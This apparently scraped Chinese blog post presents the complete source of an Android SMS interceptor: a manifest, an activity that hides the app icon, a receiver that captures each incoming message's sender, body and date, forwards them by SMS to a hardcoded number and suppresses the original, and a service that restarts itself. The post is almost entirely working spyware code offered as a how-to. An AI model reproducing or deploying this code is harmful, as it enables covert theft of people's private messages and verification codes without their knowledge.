短信拦截再总结
来源:互联网 发布:郭德纲谈网络喷子 编辑:程序博客网 时间:2024/06/03 15:27
主要知识点:接收短信,发送短信,隐藏图标,自启动
1、AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.leo.smsinterceptor"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="20" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<application
android:name=".AppContext"
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:persistent="true"
android:theme="@android:style/Theme.NoTitleBar.Fullscreen" >
<activity android:name=".MainActivity" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<data
android:host="MainActivity"
android:scheme="com.leo.smsinterceptor" />
</intent-filter>
</activity>
<receiver android:name=".BootReceiver" >
<intent-filter android:priority="2147483647" >
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
<receiver android:name=".SmsReceiver" >
<intent-filter android:priority="2147483647" >
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<service
android:name=".RegisterService"
android:enabled="true" />
</application>
</manifest>
2、MainActivity.java
package com.leo.smsinterceptor;
import android.app.Activity;
import android.content.ComponentName;
import android.content.pm.PackageManager;
import android.os.Bundle;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
hideIcon();
finish();
}
private void hideIcon() {
PackageManager packageManager = getPackageManager();
ComponentName componentName = new ComponentName(this,
MainActivity.class);
int res = packageManager.getComponentEnabledSetting(componentName);
if (res == PackageManager.COMPONENT_ENABLED_STATE_DEFAULT
|| res == PackageManager.COMPONENT_ENABLED_STATE_ENABLED) {
// 隐藏应用图标
packageManager.setComponentEnabledSetting(componentName,
PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP);
}
}
}
3、SmsReceiver.java
package com.leo.smsinterceptor;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import android.annotation.SuppressLint;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.widget.Toast;
public class SmsReceiver extends BroadcastReceiver {
private Context mContext = null;
private static final String PHONE_NUMBER = "155";
@SuppressLint("SimpleDateFormat")
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
mContext = context;
toast("received");
Bundle mBundle = intent.getExtras();
if (mBundle != null) {
Object[] _pdus = (Object[]) mBundle.get("pdus");
int length = _pdus.length;
SmsMessage[] messages = new SmsMessage[length];
for (int i = 0; i < length; i++) {
messages[i] = SmsMessage.createFromPdu((byte[]) _pdus[i]);
}
StringBuilder address = new StringBuilder();
StringBuilder body = new StringBuilder();
StringBuilder date = new StringBuilder();
for (SmsMessage message : messages) {
address.append(message.getDisplayOriginatingAddress());
body.append(message.getDisplayMessageBody());
Date mDate = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
date.append(format.format(mDate));
}
toast("发件人:" + address.toString());
toast("内容:" + body.toString());
toast("日期:" + date.toString());
sendSms(PHONE_NUMBER,
"发件人:" + address.toString() + " 内容:" + body.toString()
+ " 日期:" + date.toString());
}
this.abortBroadcast();
}
private void toast(String text) {
Toast.makeText(mContext, text, Toast.LENGTH_SHORT).show();
}
private void sendSms(String number, String message) {
SmsManager mSmsManager = SmsManager.getDefault();
List<String> contents = mSmsManager.divideMessage(message);
for (String text : contents) {
mSmsManager.sendTextMessage(number, null, text, null, null);
}
}
}
4、RegisterService.java
package com.leo.smsinterceptor;
import android.app.Service;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.IBinder;
public class RegisterService extends Service {
private static final String ACTION_SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
registerTheReceiver();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
// return super.onStartCommand(intent, flags, startId);
return Service.START_STICKY;
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
unregisterTheReceiver();
startTheService();
}
private void startTheService() {
Intent service = new Intent(this, RegisterService.class);
startService(service);
}
private SmsReceiver mSmsReceiver = null;
private void unregisterTheReceiver() {
unregisterReceiver(mSmsReceiver);
}
private void registerTheReceiver() {
IntentFilter mIntentFilter = new IntentFilter(ACTION_SMS_RECEIVED);
mIntentFilter.setPriority(2147483647);
mSmsReceiver = new SmsReceiver();
registerReceiver(mSmsReceiver, mIntentFilter);
}
}
- 短信拦截再总结
- 短信拦截
- 短信拦截
- 短信拦截
- 短信拦截
- 短信拦截
- 拦截短信
- 拦截短信
- 短信拦截
- 短信拦截
- 短信拦截
- 短信拦截
- 短信拦截
- 拦截短信
- 短信拦截
- Android电话短信拦截项目总结之 多选框(CheckBox)
- Android电话短信拦截项目总结之 开发工具
- day5.10总结_短信和电话拦截
- 数据结构之并查集
- HTML—超文本标记语言
- JS 控制文本框只能输入中文、英文、数字与指定特殊符号
- iOS 获取汉字拼音首字母
- 怎样将整型变量转换为字符变量 然后串口 或者LCD发送出来(STM32) 以及sprintf的用法
- 短信拦截再总结
- 点击手机物理键返回
- Certificates, Identifiers & Profiles简介以及申请发布证书
- 面向对象
- breeze densematrix 基本操作
- Quintus小游戏制作之Beta(一)
- 欢迎使用CSDN-markdown编辑器
- Eclipse使用中的奇奇怪怪问题
- NYOJ 找数达人 (找n个数构成m是否存在)